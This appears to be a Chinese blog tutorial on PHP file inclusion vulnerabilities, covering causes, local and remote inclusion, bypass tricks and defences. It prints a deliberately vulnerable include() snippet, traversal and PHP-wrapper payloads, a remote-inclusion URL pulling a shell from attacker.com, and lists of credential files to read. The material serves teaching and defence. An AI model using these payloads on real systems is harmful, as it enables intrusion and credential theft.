文件包含漏洞是什么?原理、利用与防御全解析(2025最新版)

在当今的网络安全环境中,文件包含漏洞(File Inclusion Vulnerability)作为一种常见且危害极大的安全漏洞,频繁出现在各类Web应用中。它不仅可能导致敏感信息泄露,还可能被攻击者用来远程控制服务器,造成严重的安全事件。那么,文件包含漏洞到底是什么?它是如何被利用的?又该如何有效防御?本文将为你全面解析。

文件包含漏洞是什么?原理、利用与防御全解析(2025最新版)


什么是文件包含漏洞?

文件包含漏洞是指Web应用程序在动态调用外部文件时,由于未对用户输入的文件路径参数进行严格过滤,导致攻击者可以操控程序去包含非预期的文件。如果被包含的文件中包含恶意代码,这些代码将被服务器解析并执行,从而实现任意代码执行、敏感信息读取、甚至服务器权限获取。

通俗理解
开发人员为了方便代码复用,会使用 includerequire 等函数动态加载文件。但如果这些函数的参数来自用户输入(如URL参数),且未做安全校验,攻击者就可以“骗”服务器去加载恶意文件,这就是文件包含漏洞的根源。


文件包含漏洞的成因

文件包含漏洞的核心成因在于两点:

  1. 参数可被用户控制:如通过GET或POST传递的 file=xxx.php 参数。

  2. 未对参数进行有效过滤:程序未限制可包含的文件类型、路径或来源。

例如,以下PHP代码就存在典型的文件包含漏洞:

<?php
$file = $_GET['file'];
include($file); // 危险!用户可控制$file变量
?>

当用户访问 index.php?file=../../etc/passwd 时,服务器可能直接读取系统敏感文件。


文件包含漏洞的分类

根据包含文件的来源,文件包含漏洞主要分为两类:

1. 本地文件包含(LFI, Local File Inclusion)

攻击者利用漏洞包含服务器本地文件,如:

  • 读取系统配置文件:/etc/passwd/etc/shadow(Linux)、C:\boot.ini(Windows)

  • 包含日志文件(如Apache、SSH日志)写入WebShell

  • 包含Session文件实现代码执行

利用条件:目标服务器存在可读的敏感文件,或可配合文件上传漏洞使用。

2. 远程文件包含(RFI, Remote File Inclusion)

攻击者包含远程服务器上的恶意文件,直接执行远程代码。

http://example.com/index.php?file=http://attacker.com/shell.txt

利用条件

  • allow_url_fopen = On

  • allow_url_include = On

⚠️ 注意:现代PHP环境默认关闭这两个配置,因此RFI漏洞相对较少,但一旦存在,危害极大。


常见利用方式与绕过技巧

即使开发人员做了简单限制,攻击者仍可通过多种方式绕过:

绕过方式说明适用场景
%00截断利用空字符截断后缀,如 file=shell.php%00PHP < 5.3.4
长度截断通过超长路径使系统自动截断,如 file=shell.php/....(4096个点)Linux > 4096字符
伪协议利用使用PHP封装协议读取或执行文件allow_url_fopen=On
大小写绕过如 file=Shell.PHPWindows系统
编码绕过使用URL编码、双写等混淆手段WAF或简单过滤场景

PHP伪协议的高级利用

PHP支持多种封装协议,攻击者常利用以下协议进行攻击:

协议用途说明
php://filter读取文件源码(Base64编码),如:php://filter/read=convert.base64-encode/resource=config.php
php://input将POST数据当作PHP代码执行,常用于写入WebShell
data://直接执行传入的PHP代码,如:data://text/plain,<?php phpinfo();?>
zip:// / phar://包含压缩包内的文件,可配合上传图片马使用

防御提示:建议关闭不必要的PHP封装协议,尤其是 php://inputdata://


常见敏感文件路径(攻击者常读取)

系统文件路径用途
Linux/etc/passwd用户账户信息

/etc/shadow用户密码哈希

/var/log/apache2/access.logWeb访问日志

/proc/self/environ环境变量(可能含WebShell)
WindowsC:\boot.ini系统版本信息

C:\php\php.iniPHP配置文件

C:\Windows\repair\SAM系统账户密码备份

如何防御文件包含漏洞?

1. 代码层防御

  • 使用白名单机制,限制可包含的文件名。

  • 避免直接使用用户输入作为文件路径。

  • 使用绝对路径,避免目录遍历。

$allowed = ['page1.php', 'page2.php'];
if (in_array($_GET['file'], $allowed)) {
    include($_GET['file']);
}

2. 服务器配置

  • 关闭危险配置:

    allow_url_fopen = Off
    allow_url_include = Off
  • 设置 open_basedir 限制文件访问范围:

    open_basedir = /var/www/html/

3. 安全开发规范

  • 所有用户输入必须经过过滤和验证。

  • 定期进行代码审计和安全测试。

  • 使用Web应用防火墙(WAF)拦截恶意请求。


文件包含漏洞虽“古老”,但在实际渗透测试和CTF竞赛中仍屡见不鲜。它不仅考验开发人员的安全意识,也对运维人员的配置能力提出要求。安全无小事,一个小小的 include() 函数,若处理不当,就可能成为黑客入侵的“后门”。

作为开发者,应始终遵循“最小权限”和“输入验证”原则;作为安全爱好者,应深入理解其原理与利用方式,才能更好地防御。

发表评论

评论列表

还没有评论,快来说点什么吧~